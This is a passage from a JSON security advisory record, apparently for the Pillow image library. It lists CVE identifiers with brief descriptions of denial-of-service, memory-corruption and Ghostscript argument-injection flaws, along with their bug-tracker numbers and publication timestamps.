(bsc#1286368).\n- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).\n- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).\n- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).\n- CVE-2026-112403: heap buffer overflow in `ImagingJpegDecode` allows for code execution (bsc#1286405).\n- CVE-2026-112405: NULL pointer dereference in `Image.merge` via an unvalidated band 0 (bsc#1286404).\n- CVE-2026-112406: infinite loop in `PdfParser.rewrite_pages` on page tree `Parent` cycle (bsc#1286403).\n- CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).\n- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).\n- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).\n- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).\n- CVE-2026-112896: TIFF encoder `ColorMap` plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).\n- CVE-2026-112897: `TiffDecode` returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).\n- CVE-2026-112899: EPS `load(scale)` lets Ghostscript render past the decompression bomb limit (bsc#1286489).\n- CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).\n- CVE-2026-112901: ReDoS in `XbmImagePlugin` can be triggered by 512-byte file (bsc#1286396).\n- CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).\n","status":"published","published":"2026-11-02T16:22:03Z","modified":"2026-11-03T13:15:08.326276184Z","updated_at":"2026-11-03T13:33:04.521148Z"}]}}
